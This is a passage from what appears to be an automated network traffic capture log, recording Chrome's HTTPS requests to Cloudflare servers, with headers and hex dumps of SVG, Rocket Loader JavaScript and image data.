6c 6e 73 3a 78 6c 69 6e 6b 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 6c 69 6e 6b 22 20 78 3d 22 30 70 78 Data Ascii: 701<?xml version="1.0" encoding="utf-8"?>... Generator: Adobe Illustrator 24.3.0, SVG Export Plug-In . SVG Version: 6.00 Build 0) --><svg version="1.1" id="Layer_1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px
2024-10-16 15:56:48 UTC	1329	IN	Data Raw: 64 3b 66 69 6c 6c 3a 23 30 30 36 36 46 46 3b 7d 0a 09 2e 73 74 32 7b 66 69 6c 6c 3a 23 46 46 46 46 46 46 3b 7d 0a 09 2e 73 74 33 7b 66 69 6c 6c 3a 23 30 30 36 36 46 46 3b 7d 0a 3c 2f 73 74 79 6c 65 3e 0a 3c 67 3e 0a 09 3c 67 20 69 64 3d 22 66 69 6e 61 6c 2d 2d 2d 64 65 63 2e 31 31 2d 32 30 32 30 5f 31 5f 22 3e 0a 09 09 3c 67 20 69 64 3d 22 5f 78 33 30 5f 32 30 38 2d 6f 75 72 2d 74 6f 67 67 6c 65 5f 32 5f 22 20 74 72 61 6e 73 66 6f 72 6d 3d 22 74 72 61 6e 73 6c 61 74 65 28 2d 31 32 37 35 2e 30 30 30 30 30 30 2c 20 2d 32 30 30 2e 30 30 30 30 30 30 29 22 3e 0a 09 09 09 3c 67 20 69 64 3d 22 46 69 6e 61 6c 2d 43 6f 70 79 2d 32 5f 32 5f 22 20 74 72 61 6e 73 66 6f 72 6d 3d 22 74 72 61 6e 73 6c 61 74 65 28 31 32 37 35 2e 30 30 30 30 30 30 2c 20 32 30 30 2e 30 30 Data Ascii: d;fill:#0066FF;}.st2{fill:#FFFFFF;}.st3{fill:#0066FF;}</style><g><g id="final---dec.11-2020_1_"><g id="_x30_208-our-toggle_2_" transform="translate(-1275.000000, -200.000000)"><g id="Final-Copy-2_2_" transform="translate(1275.000000, 200.00
2024-10-16 15:56:48 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
113	192.168.2.5	49837	104.16.124.96	443	2436	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-16 15:56:48 UTC	815	OUT	GET /cdn-cgi/scripts/7d0fa10a/cloudflare-static/rocket-loader.min.js HTTP/1.1 Host: www.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.cloudflare.com/learning/access-management/phishing-attack/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: __cf_bm=F9zD6vGpFng_Ovlv_Yfvi3nzbS_N7HT4.jjZFirF.mQ-1729094206-1.0.1.1-RzQpYbS1.H4FjPwqPhNW4o0WiC5eQAEj1v9KNU8G359WyLKyJ.PL4uY3EQ1K4_I6Eak.JTWtTIfsUMvzhnXq7cA95hbHbg9YU4oc_3heVPI
2024-10-16 15:56:48 UTC	754	IN	HTTP/1.1 200 OK Date: Wed, 16 Oct 2024 15:56:48 GMT Content-Type: application/javascript Content-Length: 12332 Connection: close Last-Modified: Mon, 14 Oct 2024 09:31:37 GMT ETag: "670ce4f9-302c" Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ffPKszQIy7kxmJpmnSY6pBudamJrcc1uGxqhz1MsLOrZNEcjJz8wh8ZGFcL%2B3RVy1crYT8aZBuxUe5YHkEsJ0AlLZY57lVJXswE25cDdpa6uUW8CZ5hPUEfLmeB6S3KJK1pICQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d393db41e310bbb-DFW X-Frame-Options: DENY X-Content-Type-Options: nosniff Expires: Fri, 18 Oct 2024 15:56:48 GMT Cache-Control: max-age=172800 Cache-Control: public Accept-Ranges: bytes
2024-10-16 15:56:48 UTC	615	IN	Data Raw: 21 66 75 6e 63 74 69 6f 6e 28 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 66 75 6e 63 74 69 6f 6e 20 74 28 29 7b 72 65 74 75 72 6e 22 63 66 2d 6d 61 72 6b 65 72 2d 22 2b 4d 61 74 68 2e 72 61 6e 64 6f 6d 28 29 2e 74 6f 53 74 72 69 6e 67 28 29 2e 73 6c 69 63 65 28 32 29 7d 66 75 6e 63 74 69 6f 6e 20 65 28 29 7b 66 6f 72 28 76 61 72 20 74 3d 5b 5d 2c 65 3d 30 3b 65 3c 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 3b 65 2b 2b 29 74 5b 65 5d 3d 61 72 67 75 6d 65 6e 74 73 5b 65 5d 3b 28 6e 3d 63 6f 6e 73 6f 6c 65 2e 77 61 72 6e 7c 7c 63 6f 6e 73 6f 6c 65 2e 6c 6f 67 29 2e 63 61 6c 6c 2e 61 70 70 6c 79 28 6e 2c 5b 63 6f 6e 73 6f 6c 65 2c 22 5b 52 4f 43 4b 45 54 20 4c 4f 41 44 45 52 5d 20 22 5d 2e 63 6f 6e 63 61 74 28 74 29 29 3b 76 61 72 20 6e 7d 66 75 6e 63 Data Ascii: !function(){"use strict";function t(){return"cf-marker-"+Math.random().toString().slice(2)}function e(){for(var t=[],e=0;e<arguments.length;e++)t[e]=arguments[e];(n=console.warn\|\|console.log).call.apply(n,[console,"[ROCKET LOADER] "].concat(t));var n}func
2024-10-16 15:56:48 UTC	1369	IN	Data Raw: 7b 72 65 74 75 72 6e 20 61 28 74 2c 22 22 29 7d 66 75 6e 63 74 69 6f 6e 20 73 28 74 2c 65 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 69 66 28 65 28 29 2c 74 29 72 65 74 75 72 6e 20 74 2e 63 61 6c 6c 28 74 68 69 73 2c 6e 29 7d 7d 66 75 6e 63 74 69 6f 6e 20 75 28 74 2c 65 29 7b 74 2e 6f 6e 6c 6f 61 64 3d 73 28 74 2e 6f 6e 6c 6f 61 64 2c 65 29 2c 74 2e 6f 6e 65 72 72 6f 72 3d 73 28 74 2e 6f 6e 65 72 72 6f 72 2c 65 29 7d 66 75 6e 63 74 69 6f 6e 20 70 28 74 29 7b 76 61 72 20 65 3d 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 4e 53 28 74 2e 6e 61 6d 65 73 70 61 63 65 55 52 49 2c 22 73 63 72 69 70 74 22 29 3b 65 2e 61 73 79 6e 63 3d 74 2e 68 61 73 41 74 74 72 69 62 75 74 65 28 22 61 73 79 6e 63 22 29 2c 65 2e 74 65 78 74 Data Ascii: {return a(t,"")}function s(t,e){return function(n){if(e(),t)return t.call(this,n)}}function u(t,e){t.onload=s(t.onload,e),t.onerror=s(t.onerror,e)}function p(t){var e=document.createElementNS(t.namespaceURI,"script");e.async=t.hasAttribute("async"),e.text
2024-10-16 15:56:48 UTC	1369	IN	Data Raw: 29 72 65 74 75 72 6e 20 6e 75 6c 6c 3b 76 61 72 20 6e 3d 65 2e 73 70 6c 69 74 28 54 29 3b 72 65 74 75 72 6e 7b 6e 6f 6e 63 65 3a 6e 5b 30 5d 2c 68 61 6e 64 6c 65 72 50 72 65 66 69 78 4c 65 6e 67 74 68 3a 2b 6e 5b 31 5d 2c 62 61 69 6c 6f 75 74 3a 21 74 2e 68 61 73 41 74 74 72 69 62 75 74 65 28 22 64 65 66 65 72 22 29 7d 7d 66 75 6e 63 74 69 6f 6e 20 67 28 74 29 7b 76 61 72 20 65 3d 42 2b 74 2e 6e 6f 6e 63 65 3b 41 72 72 61 79 2e 70 72 6f 74 6f 74 79 70 65 2e 66 6f 72 45 61 63 68 2e 63 61 6c 6c 28 64 6f 63 75 6d 65 6e 74 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 5b 22 2b 65 2b 22 5d 22 29 2c 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 6e 2e 72 65 6d 6f 76 65 41 74 74 72 69 62 75 74 65 28 65 29 2c 41 72 72 61 79 2e 70 72 6f 74 6f 74 79 70 65 2e 66 6f Data Ascii: )return null;var n=e.split(T);return{nonce:n[0],handlerPrefixLength:+n[1],bailout:!t.hasAttribute("defer")}}function g(t){var e=B+t.nonce;Array.prototype.forEach.call(document.querySelectorAll("["+e+"]"),function(n){n.removeAttribute(e),Array.prototype.fo
2024-10-16 15:56:48 UTC	1369	IN	Data Raw: 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 31 2e 31 22 3a 21 30 2c 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 31 2e 32 22 3a 21 30 2c 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 31 2e 33 22 3a 21 30 2c 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 31 2e 34 22 3a 21 30 2c 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 31 2e 35 22 3a 21 30 2c 22 74 65 78 74 2f 6a 73 63 72 69 70 74 22 3a 21 30 2c 22 74 65 78 74 2f 6c 69 76 65 73 63 72 69 70 74 22 3a 21 30 2c 22 74 65 78 74 2f 78 2d 65 63 6d 61 73 63 72 69 70 74 22 3a 21 30 2c 22 74 65 78 74 2f 78 2d 6a 61 76 61 73 63 72 69 70 74 22 3a 21 30 2c 6d 6f 64 75 6c 65 3a 21 30 7d 2c 6b 3d 76 6f 69 64 20 30 21 3d 3d 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 73 63 72 69 Data Ascii: "text/javascript1.1":!0,"text/javascript1.2":!0,"text/javascript1.3":!0,"text/javascript1.4":!0,"text/javascript1.5":!0,"text/jscript":!0,"text/livescript":!0,"text/x-ecmascript":!0,"text/x-javascript":!0,module:!0},k=void 0!==document.createElement("scri
2024-10-16 15:56:48 UTC	1369	IN	Data Raw: 65 2e 68 61 73 4e 6f 6e 63 65 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 20 30 3d 3d 3d 28 74 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 22 74 79 70 65 22 29 7c 7c 22 22 29 2e 69 6e 64 65 78 4f 66 28 74 68 69 73 2e 6e 6f 6e 63 65 29 7d 2c 74 2e 70 72 6f 74 6f 74 79 70 65 2e 72 65 6d 6f 76 65 4e 6f 6e 63 65 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 74 2e 74 79 70 65 3d 74 2e 74 79 70 65 2e 73 75 62 73 74 72 28 74 68 69 73 2e 6e 6f 6e 63 65 2e 6c 65 6e 67 74 68 29 7d 2c 74 2e 70 72 6f 74 6f 74 79 70 65 2e 6d 61 6b 65 4e 6f 6e 45 78 65 63 75 74 61 62 6c 65 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 74 2e 74 79 70 65 3d 74 68 69 73 2e 6e 6f 6e 63 65 2b 74 2e 74 79 70 65 7d 2c 74 2e 70 72 6f 74 6f 74 79 70 65 2e 69 73 50 65 6e 64 69 6e 67 44 65 66 65 72 Data Ascii: e.hasNonce=function(t){return 0===(t.getAttribute("type")\|\|"").indexOf(this.nonce)},t.prototype.removeNonce=function(t){t.type=t.type.substr(this.nonce.length)},t.prototype.makeNonExecutable=function(t){t.type=this.nonce+t.type},t.prototype.isPendingDefer
2024-10-16 15:56:48 UTC	1369	IN	Data Raw: 65 6e 61 62 6c 65 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 3d 74 68 69 73 3b 74 68 69 73 2e 69 6e 73 65 72 74 69 6f 6e 50 6f 69 6e 74 4d 61 72 6b 65 72 3d 74 2c 74 68 69 73 2e 62 75 66 66 65 72 3d 22 22 2c 64 6f 63 75 6d 65 6e 74 2e 77 72 69 74 65 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 66 6f 72 28 76 61 72 20 74 3d 5b 5d 2c 6e 3d 30 3b 6e 3c 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 3b 6e 2b 2b 29 74 5b 6e 5d 3d 61 72 67 75 6d 65 6e 74 73 5b 6e 5d 3b 72 65 74 75 72 6e 20 65 2e 77 72 69 74 65 28 74 2c 21 31 29 7d 2c 64 6f 63 75 6d 65 6e 74 2e 77 72 69 74 65 6c 6e 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 66 6f 72 28 76 61 72 20 74 3d 5b 5d 2c 6e 3d 30 3b 6e 3c 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 3b 6e 2b 2b 29 74 5b 6e 5d 3d 61 72 67 Data Ascii: enable=function(t){var e=this;this.insertionPointMarker=t,this.buffer="",document.write=function(){for(var t=[],n=0;n<arguments.length;n++)t[n]=arguments[n];return e.write(t,!1)},document.writeln=function(){for(var t=[],n=0;n<arguments.length;n++)t[n]=arg
2024-10-16 15:56:48 UTC	1369	IN	Data Raw: 74 65 3d 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 76 61 72 20 6e 3d 64 6f 63 75 6d 65 6e 74 2e 63 75 72 72 65 6e 74 53 63 72 69 70 74 3b 6e 26 26 69 28 6e 29 26 26 6e 2e 68 61 73 41 74 74 72 69 62 75 74 65 28 22 61 73 79 6e 63 22 29 3f 28 72 3d 65 3f 5f 3a 4c 29 2e 63 61 6c 6c 2e 61 70 70 6c 79 28 72 2c 5b 64 6f 63 75 6d 65 6e 74 5d 2e 63 6f 6e 63 61 74 28 74 29 29 3a 74 68 69 73 2e 62 75 66 66 65 72 2b 3d 74 2e 6d 61 70 28 53 74 72 69 6e 67 29 2e 6a 6f 69 6e 28 65 3f 22 5c 6e 22 3a 22 22 29 3b 76 61 72 20 72 7d 2c 74 7d 28 29 2c 6a 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 74 28 29 7b 76 61 72 20 74 3d 74 68 69 73 3b 74 68 69 73 2e 73 69 6d 75 6c 61 74 65 64 52 65 61 64 79 53 74 61 74 65 3d 22 6c 6f 61 64 69 6e 67 22 2c 74 68 69 73 Data Ascii: te=function(t,e){var n=document.currentScript;n&&i(n)&&n.hasAttribute("async")?(r=e?_:L).call.apply(r,[document].concat(t)):this.buffer+=t.map(String).join(e?"\n":"");var r},t}(),j=function(){function t(){var t=this;this.simulatedReadyState="loading",this
2024-10-16 15:56:48 UTC	1369	IN	Data Raw: 78 69 65 73 3d 21 30 7d 2c 30 29 7d 2c 74 2e 70 72 6f 74 6f 74 79 70 65 2e 73 65 74 75 70 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 50 72 6f 78 79 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 74 3d 74 68 69 73 3b 28 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 45 76 65 6e 74 54 61 72 67 65 74 3f 5b 45 76 65 6e 74 54 61 72 67 65 74 2e 70 72 6f 74 6f 74 79 70 65 5d 3a 5b 4e 6f 64 65 2e 70 72 6f 74 6f 74 79 70 65 2c 57 69 6e 64 6f 77 2e 70 72 6f 74 6f 74 79 70 65 5d 29 2e 66 6f 72 45 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 74 2e 70 61 74 63 68 45 76 65 6e 74 54 61 72 67 65 74 4d 65 74 68 6f 64 73 28 65 29 7d 29 7d 2c 74 2e 70 72 6f 74 6f 74 79 70 65 2e 70 61 74 63 68 45 76 65 6e 74 54 61 72 67 65 74 4d 65 74 68 6f Data Ascii: xies=!0},0)},t.prototype.setupEventListenerProxy=function(){var t=this;("undefined"!=typeof EventTarget?[EventTarget.prototype]:[Node.prototype,Window.prototype]).forEach(function(e){return t.patchEventTargetMethods(e)})},t.prototype.patchEventTargetMetho
2024-10-16 15:56:48 UTC	1369	IN	Data Raw: 22 2c 7b 76 61 6c 75 65 3a 6e 65 77 20 6a 7d 29 2c 74 2e 5f 5f 72 6f 63 6b 65 74 4c 6f 61 64 65 72 4c 6f 61 64 50 72 6f 67 72 65 73 73 53 69 6d 75 6c 61 74 6f 72 7d 28 29 2c 57 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 74 28 74 2c 65 29 7b 74 68 69 73 2e 73 63 72 69 70 74 53 74 61 63 6b 3d 74 2c 74 68 69 73 2e 73 65 74 74 69 6e 67 73 3d 65 2c 74 68 69 73 2e 70 72 65 6c 6f 61 64 48 69 6e 74 73 3d 5b 5d 7d 72 65 74 75 72 6e 20 74 2e 70 72 6f 74 6f 74 79 70 65 2e 69 6e 73 65 72 74 50 72 65 6c 6f 61 64 48 69 6e 74 73 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 74 3d 74 68 69 73 3b 74 68 69 73 2e 73 63 72 69 70 74 53 74 61 63 6b 2e 66 6f 72 45 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 69 66 28 61 28 65 2c 74 2e 73 65 74 74 69 6e Data Ascii: ",{value:new j}),t.__rocketLoaderLoadProgressSimulator}(),W=function(){function t(t,e){this.scriptStack=t,this.settings=e,this.preloadHints=[]}return t.prototype.insertPreloadHints=function(){var t=this;this.scriptStack.forEach(function(e){if(a(e,t.settin
2024-10-16 15:56:48 UTC	765	IN	Data Raw: 69 70 74 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 6e 3d 74 2e 73 63 72 69 70 74 2c 72 3d 74 2e 70 6c 61 63 65 68 6f 6c 64 65 72 2c 6f 3d 74 2e 65 78 74 65 72 6e 61 6c 2c 69 3d 74 2e 61 73 79 6e 63 2c 61 3d 72 2e 70 61 72 65 6e 74 4e 6f 64 65 3b 69 66 28 21 64 6f 63 75 6d 65 6e 74 2e 63 6f 6e 74 61 69 6e 73 28 72 29 29 72 65 74 75 72 6e 20 65 28 22 50 6c 61 63 65 68 6f 6c 64 65 72 20 66 6f 72 20 73 63 72 69 70 74 20 5c 6e 22 2b 6e 2e 6f 75 74 65 72 48 54 4d 4c 2b 22 5c 6e 20 77 61 73 20 64 65 74 61 63 68 65 64 20 66 72 6f 6d 20 64 6f 63 75 6d 65 6e 74 2e 22 2c 22 53 63 72 69 70 74 20 77 69 6c 6c 20 6e 6f 74 20 62 65 20 65 78 65 63 75 74 65 64 2e 22 29 2c 6e 75 6c 6c 3b 76 61 72 20 63 3d 74 68 69 73 2e 73 65 74 74 69 6e 67 73 2e 62 6c 6f 63 6b 69 Data Ascii: ipt=function(t){var n=t.script,r=t.placeholder,o=t.external,i=t.async,a=r.parentNode;if(!document.contains(r))return e("Placeholder for script \n"+n.outerHTML+"\n was detached from document.","Script will not be executed."),null;var c=this.settings.blocki

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
114	192.168.2.5	49842	104.16.123.96	443	2436	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-16 15:56:48 UTC	858	OUT	GET /slt3lc6tev37/2fMg89go9MegG1EDg39mNy/5a42817cd388ae352f77f56e53b1ff81/card-new.png HTTP/1.1 Host: cf-assets.www.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.cloudflare.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: __cf_bm=F9zD6vGpFng_Ovlv_Yfvi3nzbS_N7HT4.jjZFirF.mQ-1729094206-1.0.1.1-RzQpYbS1.H4FjPwqPhNW4o0WiC5eQAEj1v9KNU8G359WyLKyJ.PL4uY3EQ1K4_I6Eak.JTWtTIfsUMvzhnXq7cA95hbHbg9YU4oc_3heVPI
2024-10-16 15:56:48 UTC	857	IN	HTTP/1.1 200 OK Date: Wed, 16 Oct 2024 15:56:48 GMT Content-Type: image/webp Content-Length: 2784 Connection: close CF-Ray: 8d393db44b873acc-DFW CF-Cache-Status: HIT Accept-Ranges: bytes Age: 141144 Cache-Control: max-age=604800 Content-Disposition: inline; filename="card-new.webp" ETag: "f4eb2a2f745f8799e3e6f6478ab2305d" Last-Modified: Wed, 21 Aug 2024 18:12:19 GMT Vary: Accept Cf-Bgj: imgq:85,h2pri Cf-Polished: origFmt=png, origSize=3908 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=6pKHjMR%2BOTBKFONtbWCOzH%2B9ZBfj4tm6GoAiWBMJeCrAWmGn7R5jx4O7JtHHGvcZbEClMq%2BhHnEaFx6B%2BBdOyMAaiqvzAIbRwGFhxWS0VF1vkptU6xtKzvz82nmwrTMW8kQspq5af%2FXX9oljOZk%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare alt-svc: h3=":443"; ma=86400
2024-10-16 15:56:48 UTC	512	IN	Data Raw: 52 49 46 46 d8 0a 00 00 57 45 42 50 56 50 38 4c cc 0a 00 00 2f 36 41 2b 10 19 45 6d db 40 ca 3b e5 cf 78 27 82 88 fe a7 7c aa 82 85 6c 14 b4 6d c3 18 44 f9 b3 ed 0e 03 c2 6c a3 22 ec 79 fe 64 87 22 16 4c f1 ce 70 ea bf c2 b6 6d 90 c2 78 8f a0 19 e1 43 91 fa 33 06 70 5d b2 c4 db 6d db 7a db d6 b6 36 41 8a ce ff ff 15 f9 b8 7e 5e 5e 31 59 8a 8c 97 89 f1 32 99 8f 1d ea 22 3b 0d 2d aa 38 6c db 46 92 e8 fb af ff 76 07 23 c8 91 24 29 92 3c 97 05 da 83 e7 e9 2f 0f 63 38 a8 ad 2d 68 ae 0d 8c 40 83 11 61 24 d8 9a e8 12 08 0d a4 89 26 70 11 fe 08 44 20 02 2d da 76 eb b6 91 d4 76 3c 12 20 5f 00 97 97 20 f3 fc 2e 2c 00 7e ef fe 1e ec 73 ed ff 7b b5 84 2d e7 15 30 38 8b 81 e5 29 58 9f 32 c2 35 00 98 bf 01 57 80 14 31 0d 91 16 d0 06 a2 b4 b8 3e 4f ad 30 26 00 fe d7 cb Data Ascii: RIFFWEBPVP8L/6A+Em@;x'\|lmDl"yd"LpmxC3p]mz6A~^^1Y2";-8lFv#$)</c8-h@a$&pD -vv< _ .,~s{-08)X25W1>O0&
2024-10-16 15:56:48 UTC	1369	IN	Data Raw: 26 92 6a b1 d5 84 d9 ec f5 9c 41 af 57 ae 52 21 e0 de 8e 8a 39 f8 ce f4 93 98 03 b1 27 be e9 17 05 01 a9 49 f7 14 ed db 98 2d 4d ff 30 bb 7e a5 8e da de 49 92 02 08 58 cc 89 33 22 e1 5d 62 29 d1 a2 06 92 a0 26 89 a5 bd 80 de 28 84 7b 53 45 e6 b6 61 65 ad a9 f8 9d dc 3b 00 a7 b6 6d 4d b3 14 64 36 ed a4 fa da c2 6b b4 e5 d4 d6 96 da 4c a5 94 3d 50 83 bd 15 d5 bf 10 4d a7 97 2e ea 1f 03 f5 81 fb 36 c4 ec ca 6c ca 7e d0 64 df 0e b1 62 f3 e4 90 4b 3e 33 ab 4e bb 7a d2 2e 34 ad 64 ca 75 38 c6 2d 7e 64 9e ec a6 a8 99 4a 14 7b a6 3a fb 66 d8 0d d8 d5 8c 2c a2 d2 66 0e 85 db b0 ec 3e a9 b8 29 84 b5 85 cd 16 5f 85 09 90 21 c8 15 11 61 94 da ef 2e c3 9a 39 15 9f fe c8 e9 9e 46 35 89 01 bd 19 e1 47 f7 de b0 98 21 a9 0d 80 89 34 2c 64 d3 e0 35 9a 65 37 43 1b 3a 75 46 Data Ascii: &jAWR!9'I-M0~IX3"]b)&({SEae;mMd6kL=PM.6l~dbK>3Nz.4du8-~dJ{:f,f>)_!a.9F5G!4,d5e7C:uF
2024-10-16 15:56:48 UTC	903	IN	Data Raw: 1e 6f cd 45 8e cd 08 f7 ad 21 48 ba 99 f2 39 3f 8f ef 0b 1e 2d c1 58 af 79 a5 ee 8c e6 e8 dc e1 e3 fb 07 68 f5 51 e8 4d 29 50 c5 8d 14 83 f9 f1 fa be 80 76 d4 e6 06 20 aa e8 dd 06 53 30 d8 7c 97 51 32 c2 77 f3 56 c5 0d 93 cf 16 24 af fb c1 18 1f ba 96 74 cb e4 73 ed 38 2e 71 bc c2 7c b0 5f ea bc 18 58 82 79 dc 8f 23 cc 0f 4d a1 2a cc 78 18 3d ab 09 14 fd 82 2f 30 d0 0f 9a 11 e4 23 06 dd d5 12 7e bf 35 67 19 cc 30 22 fd 68 1e 29 34 39 bb b1 4b f8 38 c7 a5 39 4b b0 9f 65 24 28 b2 d4 f5 02 0c 3f ce cd 17 67 39 8b 72 0a ea bf 7c 6e 46 73 9c e2 d2 9c 04 18 30 bb 17 e7 e8 91 18 c4 aa f3 e3 e3 1c 0f 80 1b ec fd 16 be b7 45 0c d6 71 3c be 3e d6 7d 83 d8 54 dc 2e 5b 80 c7 f9 f2 26 f7 a8 bf 9e 61 9a 71 9f 71 79 fd f8 fa 3a 0b 11 f5 55 b2 65 14 91 08 f6 71 2a af 27 Data Ascii: oE!H9?-XyhQM)Pv S0\|Q2wV$ts8.q\|_Xy#Mx=/0#~5g0"h)49K89Ke$(?g9r\|nFs0Eq<>}T.[&aqqy:Ueq'

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
115	192.168.2.5	49841	104.16.123.96	443	2436	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-16 15:56:48 UTC	860	OUT	GET /slt3lc6tev37/6bNeiYhSx0RGvbzxS5Fi8c/3ff83bcc36e86e85170201f8264b2c1c/banner-new.png HTTP/1.1 Host: cf-assets.www.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.cloudflare.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: __cf_bm=F9zD6vGpFng_Ovlv_Yfvi3nzbS_N7HT4.jjZFirF.mQ-1729094206-1.0.1.1-RzQpYbS1.H4FjPwqPhNW4o0WiC5eQAEj1v9KNU8G359WyLKyJ.PL4uY3EQ1K4_I6Eak.JTWtTIfsUMvzhnXq7cA95hbHbg9YU4oc_3heVPI
2024-10-16 15:56:48 UTC	1198	IN	HTTP/1.1 200 OK Date: Wed, 16 Oct 2024 15:56:48 GMT Content-Type: image/webp Content-Length: 2238 Connection: close CF-Ray: 8d393db45d2c8d29-DFW CF-Cache-Status: HIT Accept-Ranges: bytes Age: 141144 Cache-Control: max-age=604800 Content-Disposition: inline; filename="banner-new.webp" ETag: "a9df8b6f62f4aeb1b4699a2ae4b291bb" Last-Modified: Thu, 22 Aug 2024 13:46:01 GMT Vary: Accept Cf-Bgj: imgq:85,h2pri Cf-Polished: origFmt=png, origSize=3127 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=4mHDFosr9wUp%2FKIitGlchfpDptqmg%2BDaXsXNM9m0UA%2FTiHQAWBUKq5I4QFj4BHGV2HfD5%2Bd63C4DxesNtwwJTG52g1kK2HPbeFhiV2wwmZboW%2BkkZszMZZQFsladdwsBmIHEUXxUK4e09I%2Bt0Pk%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Report-To: {"endpoints":[{"url":"https:\/\/csp-reporting.cloudflare.com\/cdn-cgi\/script_monitor\/report?m=.j1tulOZ8V09ldogSpshu0vXLnFc7Bk.7hoO7NDkuVo-1729094208-1.0.1.1-y1reUrcC_JfctlLxd9JSIf6lfXNTOBtzisYSn0FZfQos7gWE9oL6oalnLOsTZMWgeNhKTNrwa4KhRx3P7ToyQAqBIdreQ9705aJf2aVWOTEcn79htDUzKjl.79FYkfn7jcJjbl9eVenfCq.jPW2iso9_9TGTyrnzr_pO7snnous"}],"group":"cf-csp-endpoint","max_age":86400}
